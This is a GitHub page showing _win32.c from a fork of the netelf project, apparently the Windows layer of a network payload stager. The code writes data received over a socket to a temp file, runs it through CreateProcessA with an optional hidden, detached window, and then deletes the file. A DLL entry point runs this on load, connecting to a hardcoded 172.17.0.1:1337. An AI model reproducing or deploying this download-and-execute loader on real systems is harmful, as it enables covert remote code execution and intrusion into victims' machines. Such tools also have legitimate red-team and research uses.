forked from XiphosResearch/netelf
-
Notifications
You must be signed in to change notification settings - Fork 1
/
_win32.c
248 lines (197 loc) · 4.49 KB
/
_win32.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#define NETELF_OVERRIDE_FILE
#define USE_RECV
#ifdef NODEFAULTLIB
# define QUIET
# define NEED_STRCHR
# define NEED_MEMSET
# define NEED_WIN32_MALLOC_FREE
# define NETELF_NEED_LIB_C
#else
# include <stdio.h>
#endif
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "wsock32.lib")
#include <windows.h>
#ifdef NEED_WIN32_MALLOC_FREE
void *malloc(size_t size) {
return HeapAlloc(GetProcessHeap(), 0, size);
}
void *realloc(void *ptr, size_t new_size) {
return HeapReAlloc(GetProcessHeap(), 0, ptr, new_size);
}
void free(void *ptr) {
HeapFree(GetProcessHeap(), 0, ptr);
}
#endif
struct ne_file_s {
TCHAR name[MAX_PATH];
HANDLE handle;
};
typedef struct ne_file_s ne_file_t;
static int
file_open(file)
ne_file_t *file;
{
TCHAR lpTempPathBuffer[MAX_PATH];
DWORD dwShareMode;
DWORD dwFlagsAndAttributes;
HANDLE hFile;
if (!GetTempPath(MAX_PATH, lpTempPathBuffer))
return 1;
if (!GetTempFileName(lpTempPathBuffer, NULL, 0, file->name))
return 2;
dwShareMode = FILE_SHARE_READ | FILE_SHARE_WRITE;
dwFlagsAndAttributes = FILE_ATTRIBUTE_TEMPORARY;
hFile = CreateFile(file->name, GENERIC_WRITE, dwShareMode, NULL, OPEN_EXISTING, dwFlagsAndAttributes, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return 3;
file->handle = hFile;
return 0;
}
static unsigned int
file_write(file, buf, nbytes)
ne_file_t *file;
void *buf;
unsigned int nbytes;
{
DWORD byteswritten = 0;
WriteFile(file->handle, buf, nbytes, &byteswritten, NULL);
return byteswritten;
}
// https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/
static char *
argv_to_cmdline( unsigned int argc, char **argv ) {
#define EMITN(x,n) do { unsigned _i; for (_i = 0; _i < (n); _i++) dst[sofar++] = x; } while (0)
#define EMIT(x) EMITN(x,1)
#define EMITALL do { unsigned _i = 0; while (arg[_i]) dst[sofar++] = arg[_i++]; } while (0)
char *dst = malloc(1024 * 32);
size_t sofar = 0;
size_t argIndex;
for( argIndex = 0; argIndex < argc; ++argIndex ) {
const char *arg = argv[argIndex];
if( ! arg )
break;
if( argIndex )
EMIT(' ');
const int quote =
strchr(arg, ' ') != NULL ||
strchr(arg, '"') != NULL ||
strchr(arg, '\t') != NULL ||
strchr(arg, '\v') != NULL ||
*arg == '\0';
if( ! quote ) {
EMITALL;
continue;
}
EMIT('"');
for( const char *It = arg; ; ++It ) {
unsigned NumberBackslashes = 0;
while( *It && *It == '\\' ) {
++It;
++NumberBackslashes;
}
if( ! *It ) {
EMITN('\\', NumberBackslashes * 2);
break;
}
else if( *It == '"' ) {
EMITN('\\', NumberBackslashes * 2 + 1);
EMIT(*It);
}
else {
EMITN('\\', NumberBackslashes);
EMIT(*It);
}
}
EMIT('"');
}
EMIT('\0');
return dst;
#undef EMIT
#undef EMITN
#undef EMITALL
}
static int
file_exec(file, argc, argv)
ne_file_t *file;
unsigned int argc;
char **argv;
{
STARTUPINFO startInfo;
PROCESS_INFORMATION processInfo;
DWORD dwFlags = 0;
BOOL ret;
char *cmdline = argv_to_cmdline(argc, argv);
ZeroMemory(&startInfo, sizeof(startInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startInfo.cb = sizeof(startInfo);
startInfo.dwFlags = STARTF_USESHOWWINDOW;
#ifdef QUIET
dwFlags = DETACHED_PROCESS;
# ifdef CREATE_NO_WINDOW
dwFlags |= CREATE_NO_WINDOW;
# endif
startInfo.wShowWindow = SW_HIDE;
#endif
CloseHandle(file->handle);
ret = CreateProcessA(file->name, cmdline, NULL, NULL, FALSE, dwFlags,
NULL, NULL, &startInfo, &processInfo);
#ifndef QUIET
if (!ret) {
perror("CreateProcessA");
}
#endif
DeleteFile(file->name);
if (ret) {
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
return ret ? 0 : 1;
}
static int run_netelf(const char *ip_addr, int port);
#if defined(NODEFAULTLIB) || defined(DLL)
# if defined(_MSC_VER)
# define DllMainCRTStartup _DllMainCRTStartup
# endif
int run_main () {
return run_netelf("172.17.0.1", 1337);
}
#endif
#ifdef NODEFAULTLIB
# define NETELF_NO_MAIN
#ifdef DLL
BOOL APIENTRY DllMainCRTStartup(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
run_main();
}
return TRUE;
}
#else
/* DLL */
void WinMainCRTStartup()
{
ExitProcess(run_main());
}
#endif
/* !DLL */
#else
/* NODEFAULTLIB */
#ifdef DLL
# define NETELF_NO_MAIN
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
run_main();
}
return TRUE;
}
#endif
#endif
/* !NODEFAULTLIB */